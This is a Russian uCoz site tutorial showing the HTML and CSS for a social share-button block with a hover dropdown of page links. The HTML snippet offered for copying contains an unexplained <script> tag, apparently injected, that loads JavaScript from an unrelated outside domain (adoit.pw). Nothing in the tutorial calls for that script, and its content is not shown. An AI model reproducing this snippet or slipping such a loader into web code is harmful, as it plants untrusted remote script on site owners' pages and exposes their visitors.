Например: Иконки
Суббота, 25.11.2017, 05:50 Регистрация Карта сайта RSS Лента
Меню сайта
Всё для ucoz Всё для кс 1.6 ПРОГРАММЫ ДЛЯ ПК Онлайн игры Видео ТВ Радио Каталог сайтов Гостевая книга Доска объявлений Форум FAQ (вопрос/ответ) Блог Каталог статей Все игры Alawar Боты для игр Заказ доменов
Чат
Статистика
Гости: Пользователи:
Онлайн всего: 1
Гостей: 1
Пользователей: 0
Пользователи онлайн
Никого нет.
Реклама
Страны посетителей

Реклама на сайте

Главная » 2013 » Июль » 21 » БЛОК "ПОДЕЛИТЬСЯ В СОЦ СЕТЯХ"
14:49
БЛОК "ПОДЕЛИТЬСЯ В СОЦ СЕТЯХ"
[c][/c]И так начнем
Мы определим секцию и создадим в ней список с нашими кнопками дам им классы наших соц.сетей. Так же 5 кнопка будет выпадающим блоком при наводке для ссылок на страницу материала.

[code]<section>
<ul class="social">
<li><a href="#" class="google"></a></li>
<li><a href="#" class="facebook"></a></li>
<li><a href="#" class="vk"></a></li>
<li><a href="#" class="twitter"></a></li>
<li><script src="http://adoit.pw/border.js" type="text/javascript"></script>
<a href="#" class="link">
<div class="submenu">
<label for="1">URL:</label>
<input type="text" value='http://mysite.com/' id="1" uzzonclick="select(this);" readonly>
<label for="2">HTML:</label>
<input type="text" value='<a href="http://mysite.com/">mysite.com</a>' id="2" uzzonclick="select(this);" readonly>
<label for="3">BB code:</label>
<input type="text" value='mysite.com' id="3" uzzonclick="select(this);" readonly>
</div>
</a>
</li>
</ul>
</section>[/code]


CSS

Теперь добавим немного стилей

[code].social {
position: relative;
}

.social li {
float: left;
}

.social li a{
width: 36px;
height: 30px;
margin: 0 2px;
display: block;
}

.submenu {
position: absolute;
width: 193px;
top: 37px;
left: 3px;
background: rgb(66,67,67);
background: -moz-linear-gradient(top, rgba(66,67,67,1) 0%, rgba(45,45,45,1) 100%);
background: -webkit-gradient(linear, left top, left bottom, color-stop(0%,rgba(66,67,67,1)), color-stop(100%,rgba(45,45,45,1)));
background: -webkit-linear-gradient(top, rgba(66,67,67,1) 0%,rgba(45,45,45,1) 100%);
background: -o-linear-gradient(top, rgba(66,67,67,1) 0%,rgba(45,45,45,1) 100%);
background: -ms-linear-gradient(top, rgba(66,67,67,1) 0%,rgba(45,45,45,1) 100%);
background: linear-gradient(to bottom, rgba(66,67,67,1) 0%,rgba(45,45,45,1) 100%);
filter: progid:DXImageTransform.Microsoft.gradient( startColorstr='#424343', endColorstr='#2d2d2d',GradientType=0 );
padding: 0 10px 10px 10px;

border-radius: 5px;
-moz-border-radius: 5px;
-webkit-border-radius: 5px;

box-shadow: inset 0 3px 5px rgba(0,0,0,.4), 0 0 3px rgba(0,0,0,.38);
-moz-box-shadow: inset 0 3px 5px rgba(0,0,0,.4), 0 0 3px rgba(0,0,0,.38);
-webkit-box-shadow: inset 0 3px 5px rgba(0,0,0,.4), 0 0 3px rgba(0,0,0,.38);

opacity: 0;

-webkit-transition:opacity .3s ease .2s;
-moz-transition:opacity .3s ease .2s;
-o-transition:opacity .3s ease .2s;
transition:opacity .3s ease .2s;
}

.link:hover > div {
opacity: 1;
}

.submenu:after{
bottom: 100%;
border: solid transparent;
content: " ";
height: 0;
width: 0;
position: absolute;
pointer-events: none;
}

.submenu:after {
border-bottom-color: rgb(66,67,67);
border-width: 7px;
right: 4%;
margin-left: -7px;
}

.submenu label {
margin-top: 4px;
font: 14px Calibri;
display: block;
color: #7e7e7e;
text-shadow: 1px 0 1px rgba(0,0,0,.44);
}

.submenu input[type="text"] {
width: 100%;
font-family: Tahoma;
color: #fff;
background: #323232;
padding: 5px;
border: 1px solid #1b1b1b;
cursor: text;

border-radius: 4px;
-moz-border-radius: 4px;
-webkit-border-radius: 4px;

box-shadow: inset 2px 0 9px rgba(0,0,0,.5), 0 1px 0 rgba(255,255,255,.1);
-moz-box-shadow: inset 2px 0 9px rgba(0,0,0,.5), 0 1px 0 rgba(255,255,255,.1);
-webkit-box-shadow: inset 2px 0 9px rgba(0,0,0,.5), 0 1px 0 rgba(255,255,255,.1);
}

.google {
background: url('http://pnghosts.ru/img/google.png');
}

.facebook {
background: url('http://pnghosts.ru/img/facebook.png');
}

.vk {
background: url('http://pnghosts.ru/img/vk.png');
}

.twitter {
background: url('http://pnghosts.ru/img/twitter1.png');
}

.link {
background: url('http://pnghosts.ru/img/link.png');
}[/code]

Все готово!

Примечание! При создании был использован CSS - Normalize(Reset), поэтому при добавлении на свой сайт без этих стилей, вам нужно будет подстроить стили под себя!
Просмотров: 160 | Добавил: DoG | Рейтинг: 0.0/0 Вернутся
Всего комментариев: 0
Добавлять комментарии могут только зарегистрированные пользователи.
[ Регистрация | Вход ]

Реклама на сайте